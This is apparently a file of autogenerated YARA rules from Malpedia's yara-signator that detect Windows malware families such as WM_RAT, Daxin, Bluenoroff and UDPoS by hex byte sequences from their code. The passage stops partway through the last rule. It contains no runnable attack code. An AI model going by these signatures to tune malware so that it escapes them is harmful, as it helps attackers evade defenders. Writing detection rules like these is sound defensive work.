rule MALPEDIA_Win_Eyservice_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "01143abf-4326-5001-b471-74ce2f23b942"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eyservice_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "cec2c9ebe5b9e4768a39fd8dee155ccbac651c379b500243ead7740363768937"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d4c2408 8bf0 c7842460080000ffffffff e8???????? }
		$sequence_1 = { 0f85e5000000 c70600000000 c70702000000 e9???????? 83f85a 0f85cb000000 }
		$sequence_2 = { 83bef800000000 747c 8d4c2408 e8???????? a1???????? 8d4c2408 51 }
		$sequence_3 = { 50 b9???????? c7442454ffffffff e8???????? 46 3bf7 }
		$sequence_4 = { 56 8bc8 e8???????? eb02 33c0 89442410 8d442410 }
		$sequence_5 = { 5f 5e 59 c21000 53 8bfb 53 }
		$sequence_6 = { 83c404 894de8 c645fc01 3bce 7417 e8???????? 8b4df4 }
		$sequence_7 = { ffd3 8d442434 68???????? 50 ff15???????? 68???????? 8d8c2444010000 }
		$sequence_8 = { 888654720000 66099652720000 3c08 76bc 0fb78652720000 808654720000f8 0fb7c8 }
		$sequence_9 = { 894e0c 8b5010 895610 8b4814 894e14 8b5018 895618 }
	condition:
		7 of them and filesize < 452608
}

rule MALPEDIA_Win_Simplefilemover_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "01e3a38c-ca1c-54f8-8b63-a6fb5042b331"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.simplefilemover_auto.yar#L1-L220"
		license_url = "N/A"
		logic_hash = "127d7e5e1cb1879a98229e20253c6e3598e5576a92a3becd73c38551f6d4a8f9"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bfc f3a5 e8???????? 81c420020000 }
		$sequence_1 = { 7d07 33c0 e9???????? 6820020000 ff15???????? }
		$sequence_2 = { e8???????? 81c420020000 85c0 7407 68???????? eb05 68???????? }
		$sequence_3 = { b988000000 8bf3 8bfc f3a5 }
		$sequence_4 = { 57 668b01 33f6 33db 33ff }
		$sequence_5 = { 750f c78508daffff00000000 e9???????? 6a04 8d8d54daffff }
		$sequence_6 = { 3bc3 0f8ec7020000 0145ec 397dec 7416 8b45ec }
		$sequence_7 = { 7433 8bcb 663d5c00 7503 }
		$sequence_8 = { 56 8b74241c 57 8a8800010000 8a9001010000 33ff 884c2408 }
		$sequence_9 = { 8b742424 53 81e1ff000000 55 81e6ff000000 }
		$sequence_10 = { 3bfb 0f8c54ffffff 8a4c242c 5d 5b 5f }
		$sequence_11 = { 895df4 eb03 8b7df0 8d4601 be00010000 99 }
		$sequence_12 = { 8b7c2418 8b5c2428 47 897c2418 0fbfff 3bfb 0f8c54ffffff }
		$sequence_13 = { 8b7c2424 b940000000 f3a5 83c40c }
		$sequence_14 = { e8???????? 83c410 e9???????? 83bd24daffff00 7e0c c78508daffff00000000 }
		$sequence_15 = { 83c102 42 6685c0 75ea 85f6 7417 8b4c2414 }
		$sequence_16 = { 0f8eda000000 8b4c2408 8b742424 53 }
		$sequence_17 = { ebca ebc8 ebc6 ebc4 ebc2 }
		$sequence_18 = { 50 8d85b0ddffff 50 e8???????? 8b45f4 03c0 }
		$sequence_19 = { 6a00 6a00 6a04 6a00 6a02 6800000040 8d85f8fdffff }
		$sequence_20 = { 50 ff15???????? 898510daffff 6a00 }
		$sequence_21 = { 51 8b9554faffff 52 ff15???????? 898508daffff 83bd08daffffff }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Fakerean_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9b6d4199-0c17-5326-ad0f-5be4f4e0c769"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fakerean_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "697015d76e682efb24cb879c686000a5c02640696936de86fa6c90584950d55f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff7508 898348030000 ff15???????? 5f 5e 5b c9 }
		$sequence_1 = { 50 e8???????? 83c40c 8b4640 2b4638 85c0 7f1c }
		$sequence_2 = { ff15???????? a1???????? 8b08 6a01 ff35???????? 50 ff5128 }
		$sequence_3 = { 8845f8 84c9 7419 8b4508 0345fc 0fb6d9 }
		$sequence_4 = { 8d45f0 50 ff7608 ff15???????? 83f801 743e 83f802 }
		$sequence_5 = { e8???????? 83c428 8935???????? 5f 5e c9 c3 }
		$sequence_6 = { 8b45f0 eb03 8b45ec 8945f8 eb1d 8b45fc ebf6 }
		$sequence_7 = { 8bc2 ab ab ab ab 6a08 59 }
		$sequence_8 = { c6450f30 eb0f 83fe01 0f95c0 fec8 2420 0441 }
		$sequence_9 = { f7fb 83c230 668911 03cf 397d0c 7512 85c0 }
	condition:
		7 of them and filesize < 4071424
}

rule MALPEDIA_Win_Ralord_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "55aeafd0-036d-55da-b447-46a69b58ad1c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ralord"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ralord_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "0ae32be56308293e8dfe3d78f9cfa5ac160d76644a256ed6b1f7ab39bfe6b399"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7473 66813e4250 488d05d0a30100 7465 66813e5246 488d05c1a30100 7457 }
		$sequence_1 = { 490b8818080000 756c 4c89c1 4889c6 e8???????? 4889f0 eb5c }
		$sequence_2 = { 4929d0 0f82c9000000 4939fc 0f87d2000000 4c01f2 4889f1 e8???????? }
		$sequence_3 = { 4801f0 4829d0 4839f0 0f83bb020000 4d8d7b01 410fb60406 4138040e }
		$sequence_4 = { 48837d2000 7406 807d2f00 7409 4883c428 5b 5f }
		$sequence_5 = { 752a 488b4e20 488b4628 488d15522b0100 41b801000000 ff5018 89c1 }
		$sequence_6 = { 0f80de010000 4839fa 7550 4c8b4dd0 4c89c8 48f7d8 0f80c9010000 }
		$sequence_7 = { 4889f1 eb27 89442430 488d0551850200 4889442420 488d15a0850200 488d4c2440 }
		$sequence_8 = { 488d0daf640100 ba10000000 e8???????? 41b601 84c0 0f85b7000000 48c70600000000 }
		$sequence_9 = { 400f90c6 430fb6141a 83c2d0 83fa09 0f87aa090000 }
	condition:
		7 of them and filesize < 798720
}

rule MALPEDIA_Win_Wm_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c6756856-697a-5678-ac68-3f5e48855d20"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wm_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wm_rat_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "17d23eab1cdfe83be57cb83b91146c56a89d3518780617b00510aa5e646a5ec0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89481c 894820 894824 6a00 b901000000 6a00 6689480c }
		$sequence_1 = { 8d8c24e4110000 ff15???????? c684247c31020056 8b8424d4110000 8b4804 f6840cdc11000006 0f842c010000 }
		$sequence_2 = { 83f8ff 0f8423070000 90 f684247402000010 0f8492020000 68fc070000 8d8c24f80b0000 }
		$sequence_3 = { ff15???????? 33c9 6a30 51 8d9424aa100000 }
		$sequence_4 = { 8b4c240c 6aff 8d542414 894608 }
		$sequence_5 = { 83c404 6a64 ffd6 8b4c2414 51 e8???????? 83c404 }
		$sequence_6 = { b804000000 2bc6 50 8d0c3e 51 52 }
		$sequence_7 = { 50 8b4204 ffd0 c684245402000000 8b44241c 83c0f0 8d480c }
		$sequence_8 = { 84c0 0f84f4e9ffff 83ec1c 8bcc 89642434 68???????? ff15???????? }
		$sequence_9 = { 3b01 743b 8b542428 8b4e14 2bd0 8d4c0a01 51 }
	condition:
		7 of them and filesize < 258048
}

rule MALPEDIA_Win_Bluenoroff_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "715350ff-965b-560c-8af6-f01ef8d9887d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluenoroff_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "09078eca5d74bcdca0f6c272495f67d2206bb2b723aa1a39684e4df83692420a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 33ff 53 ff15???????? 8b450c }
		$sequence_1 = { 8bf0 83c404 85f6 7429 8b4508 8b5510 }
		$sequence_2 = { 8bf8 85ff 7421 6a00 8d55fc 52 56 }
		$sequence_3 = { b912010000 8bf3 f3a5 a1???????? 8b5004 83c410 8d7004 }
		$sequence_4 = { 83c41c 83f801 750e 8d8dfcfffeff }
		$sequence_5 = { 83feff 7433 8d4e01 51 6a40 ff15???????? }
		$sequence_6 = { 51 52 8d85fcfffeff 68ffff0000 }
		$sequence_7 = { 83c41c 8d95ecfffeff 33c9 52 }
		$sequence_8 = { 7433 8d4e01 51 6a40 }
		$sequence_9 = { 8d8dfcfffeff 51 68???????? eb23 83f802 }
	condition:
		7 of them and filesize < 303104
}

rule MALPEDIA_Win_Webc2_Bolid_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7b8b0f8-fb67-56c4-b24d-dcdab9f7b909"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_bolid_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "a9749882fbe9a2a48ffae4420a547a6fbd11851e4362f65200b42858f5a2933e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7f31 8b8bc8000000 8b93c4000000 6a00 41 6a00 }
		$sequence_1 = { e8???????? 84c0 7427 8bcf 8b7b70 8d436c 8bd1 }
		$sequence_2 = { 8b55ec 8d8d54ffffff 51 52 50 8d45a0 50 }
		$sequence_3 = { e8???????? 8bd8 3bde 0f8e0c060000 8a451b 56 8d8d58ffffff }
		$sequence_4 = { 83c40c 8b15???????? 8d4de4 52 }
		$sequence_5 = { 8b4dec 8b75e4 03c1 894508 }
		$sequence_6 = { fec8 8801 eb09 51 e8???????? 83c404 8b7db8 }
		$sequence_7 = { 50 c3 6a02 e8???????? 59 c3 }
		$sequence_8 = { 8a01 4a 0fb6f0 f6860132410004 8807 7413 47 }
		$sequence_9 = { c68424240200000d e8???????? 83ec10 8d9424a0000000 8bcc 89a424c4000000 52 }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Goopic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3dc4c257-a5c8-5a4d-ab14-c83ca28cb2ec"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goopic_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "44b46e1ba9017c5fbd258e5f68a3335c35049c2540cd88d9310017d21c5cf5d5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89742414 ff15???????? 50 ff15???????? 85c0 7427 }
		$sequence_1 = { 0f84c6000000 833d????????00 740d 8d85f0fdffff 50 }
		$sequence_2 = { 85c0 7411 e8???????? ba01000000 }
		$sequence_3 = { c785d0fdffff2c020000 ff15???????? 8bf0 8d85d0fdffff 50 56 89b5ccfdffff }
		$sequence_4 = { 58 6bc000 c7803430400002000000 6a04 58 }
		$sequence_5 = { 68???????? 6a01 6a00 68???????? ff15???????? 85c0 0f888e000000 }
		$sequence_6 = { be00010000 33c0 66c787000100000000 8801 8d4901 40 663bc6 }
		$sequence_7 = { ffd7 e8???????? e8???????? 8bd6 }
		$sequence_8 = { b9???????? e8???????? 83c404 8d85f8dfffff }
		$sequence_9 = { c785c0fdffff305d4000 eb0a c785c0fdffff245d4000 8d85b4fdffff c785c4fdffff3c5d4000 50 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Hyperbro_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0527accf-dc31-5cb1-be86-ae182f5b1e44"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hyperbro_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "4b67c3c5bbc71bde556bbaa0da5f9d6d067d8c81b3b3ffbe7e62f8abebcb4ca9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 e8???????? 8b5620 52 e8???????? 8b4614 50 }
		$sequence_1 = { 83fe40 7e33 8b0f 51 e8???????? }
		$sequence_2 = { 8a4b05 884f01 8b4308 83c410 50 8bc6 c7460840000000 }
		$sequence_3 = { c70600000000 c7460400000000 8d5e0c e8???????? 83c404 }
		$sequence_4 = { 0f8617feffff 8a17 8816 46 }
		$sequence_5 = { 33ff 3bc7 7412 50 e8???????? 83c404 897e20 }
		$sequence_6 = { 8b4614 8b1d???????? 83c404 3bc7 7406 50 ffd3 }
		$sequence_7 = { 41 e9???????? 8b442410 8b6c2418 e9???????? 2b4c2428 8b44242c }
		$sequence_8 = { 83c410 85ed 750e 8b7c2410 }
		$sequence_9 = { 895c2430 895c2434 3bfb 7409 57 e8???????? 83c404 }
	condition:
		7 of them and filesize < 352256
}

rule MALPEDIA_Win_Daxin_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "87cbb543-e190-5544-9083-2d59abd8b683"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daxin_auto.yar#L1-L148"
		license_url = "N/A"
		logic_hash = "e656f3948a2ac7b99eaa279f9e6a2040cdd5d22a79f30ee80aef3c1f7f763afa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2bc2 d1f8 99 f7f9 }
		$sequence_1 = { 418b5b3c 418b6b38 e8???????? 85db }
		$sequence_2 = { 0fb7c0 0bc8 2b8bd0000000 85c9 0f8eec000000 }
		$sequence_3 = { 488bf0 4885c0 0f8467ffffff 33d2 41b8e0000000 }
		$sequence_4 = { 66f7d8 1bc0 f7d8 83c003 eb15 }
		$sequence_5 = { 4533c0 498bcb e8???????? 668bd8 6641895b0a }
		$sequence_6 = { 740a 8b02 23c1 23cf }
		$sequence_7 = { 0f8cd8000000 ff15???????? 4c8b4f28 4533c0 884708 }
		$sequence_8 = { b930000000 33c0 8bfd 66c74664ffff }
		$sequence_9 = { 57 8908 894804 894808 8b15???????? }
		$sequence_10 = { b930000000 33c0 8bfb 33f6 }
		$sequence_11 = { 0f85d8000000 668b4702 663b442412 0f85c9000000 668b4f04 }
		$sequence_12 = { 8b442412 668b4c2414 66894c2412 6689442414 }
		$sequence_13 = { 03c7 894e04 8b4e1c 3bc1 c7462400000000 }
		$sequence_14 = { 0bc1 8d0440 c1e003 8b88c4380f00 85c9 }
	condition:
		7 of them and filesize < 3475456
}

rule MALPEDIA_Win_Broomstick_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1ab4b8f8-6d0d-5d71-8cc9-a6fff05006b5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.broomstick"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.broomstick_auto.yar#L1-L284"
		license_url = "N/A"
		logic_hash = "0c1a3ef9abdd4d0302256ec532496054e8db7eaa8ec35bdd017317b264a8cb67"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2bc2 83c002 99 83e203 03c2 }
		$sequence_1 = { 03f0 56 e8???????? 8b45dc 83c40c c6040600 eb10 }
		$sequence_2 = { 83c40c c6040600 eb10 c645dc00 ff75dc 51 8d4dc0 }
		$sequence_3 = { c6400100 8808 eb13 ff75e8 }
		$sequence_4 = { 51 50 51 8bce e8???????? 8b4dec }
		$sequence_5 = { 83c408 33c0 c7467000000000 c7467407000000 66894660 }
		$sequence_6 = { 8b45d4 8b75d0 2bc6 894ddc 51 52 }
		$sequence_7 = { 80b9????????3f 76f3 2bc2 83c002 }
		$sequence_8 = { 49898688150400 488d4c2428 ffd5 48b80b8b55f8b9616cd5 }
		$sequence_9 = { ba01000000 488bcf ff15???????? ba32ac0600 488bcf ff15???????? }
		$sequence_10 = { 488d4d38 e8???????? 0f57c0 0f114518 }
		$sequence_11 = { 498986876a0300 4889f1 ba07000000 488b2d???????? }
		$sequence_12 = { 49898687650300 488d4c2428 41ffd4 4889f1 }
		$sequence_13 = { 4c2bc1 ba2c000000 e8???????? 488bc8 4885c0 }
		$sequence_14 = { ba01000000 488bcf ff15???????? ba08000000 488bcf ff15???????? 48b8e01fcd305c98c076 }
		$sequence_15 = { ba01000000 488bcf ff15???????? ba58000000 488bcf ff15???????? }
		$sequence_16 = { ba01000000 488bcf ff15???????? ba3a867600 488bcf ff15???????? }
		$sequence_17 = { ba01000000 488bcf ff15???????? ba0a000000 488bcf ff15???????? }
		$sequence_18 = { ba01000000 488bcf ff15???????? ba5a000000 488bcf ff15???????? }
		$sequence_19 = { 498986876b0300 488d4c2428 41ffd7 4d89fc }
		$sequence_20 = { 49898688160400 b917d46400 41ffd4 4889c7 }
		$sequence_21 = { 49898688320300 b9bc474300 41ffd4 4889c7 }
		$sequence_22 = { 0f114540 4c896d50 4c896d58 4533c0 }
		$sequence_23 = { 4c8d053e920100 488bc2 83e23f 48c1f806 488d0cd2 }
		$sequence_24 = { ba01000000 488bcf ff15???????? ba31e7ca00 488bcf ff15???????? }
		$sequence_25 = { 488d056cc10200 488907 488d057ac10200 0f104318 488b5c2430 }
		$sequence_26 = { ba01000000 488bcf ff15???????? ba6ef90b00 488bcf ff15???????? }
		$sequence_27 = { 49898688140400 4889f1 4889fa 4c8b3d???????? }
		$sequence_28 = { 48c7457807000000 0f1006 0f114560 e9???????? }
		$sequence_29 = { 498986876c0300 4889f9 4c8b3d???????? 41ffd7 }
		$sequence_30 = { 498bc6 4d8bee 49c1fd06 4c896dc7 488d0d8f3afeff }
	condition:
		7 of them and filesize < 1567744
}

rule MALPEDIA_Win_Udpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c21182e3-9948-53fb-ba16-989de2eeeef7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.udpos_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "fe240fae257bb918a1862a5669b32e668e7cda4beef5a9f9bbf562c291941f24"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c414 8d55c4 52 ffd7 }
		$sequence_1 = { 53 56 52 ffd7 }
		$sequence_2 = { 83c408 3bf3 7ea8 8b5d08 2bde }
		$sequence_3 = { 8985f4feffff 8985f8feffff 3905???????? 7e09 a1???????? 8b30 eb06 }
		$sequence_4 = { 7510 c78598feffff01000000 8b9d98feffff 47 83fb01 75b4 85db }
		$sequence_5 = { 8b8110020000 301408 8b9110020000 0fb6140a }
		$sequence_6 = { 83c40c 57 6a02 ff15???????? 8d8dd0fdffff 8bf0 }
		$sequence_7 = { 51 a3???????? e8???????? 83c40c 68ff000000 8d95fcfdffff 52 }
		$sequence_8 = { 53 e8???????? 83c404 8b95e4fbffff 52 ff15???????? 5b }
		$sequence_9 = { 83e60f 0fb65c35e8 0fb671fd 8858fd }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Maktub_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ecc73f32-ecbd-5318-a556-c2b45ed34c44"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maktub_auto.yar#L1-L197"
		license_url = "N/A"
		logic_hash = "ff16c7a452af8c5ebf57513ce479bd7fbd7433b4ce2d8fbd914a83844ba9c640"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd0 f7d8 1bc0 f7d8 8be5 }
		$sequence_1 = { ff15???????? eb0a 57 6a08 }
		$sequence_2 = { ff15???????? eb02 33c0 46 }
		$sequence_3 = { ff15???????? eb02 33db 8b4df4 }
		$sequence_4 = { ff15???????? e9???????? 8d43f4 3d???????? 0f84c1000000 833d????????00 }
		$sequence_5 = { e8???????? 8b75fc 8b4df0 83c305 8a4513 }
		$sequence_6 = { ff15???????? f6c301 0f8414010000 8d46fc }
		$sequence_7 = { ff30 e8???????? 8bc7 5f 5e 5b }
		$sequence_8 = { 8bf8 c785d4fdffff2c020000 8d85d4fdffff 50 57 68???????? }
		$sequence_9 = { 8d4f14 8b18 8b7004 8d45e8 }
		$sequence_10 = { 8bf8 8d442428 6a50 50 897c2424 }
		$sequence_11 = { 8d4f2c e8???????? 84c0 7578 }
		$sequence_12 = { 8bf8 c744242000000000 f7642424 8bcf 0fafcd 8bd8 8b44241c }
		$sequence_13 = { 8bf8 8b4c242c 03f2 03710c }
		$sequence_14 = { 8d4f20 e8???????? 84c0 750f }
		$sequence_15 = { 8d4f10 e8???????? 8d4f30 8b30 8b5004 8d45f0 }
		$sequence_16 = { 8d4f34 e8???????? 8d4f14 8b18 }
		$sequence_17 = { 8bf8 8db508040000 b917000000 53 }
		$sequence_18 = { 8d4f28 89471c 33c0 c6472000 }
		$sequence_19 = { 8bf8 897dec 33db 66895f0c 895dfc 8b450c }
		$sequence_20 = { 8d4f30 e8???????? 8b470c 8d4d10 }
	condition:
		7 of them and filesize < 3063808
}

rule MALPEDIA_Win_Skip20_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3a4637b8-f789-501b-b30e-9b5c38cc0f0d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skip20_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "37102bdc96bcca2b357e821094999917631ae97c09451ffb93720795a4f9e949"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb74114 8b540824 4803d3 8b7c0820 4885d2 0f840b1d0000 }
		$sequence_1 = { 488d0c40 4c8d0584fe0100 4d8b04c8 488bd7 }
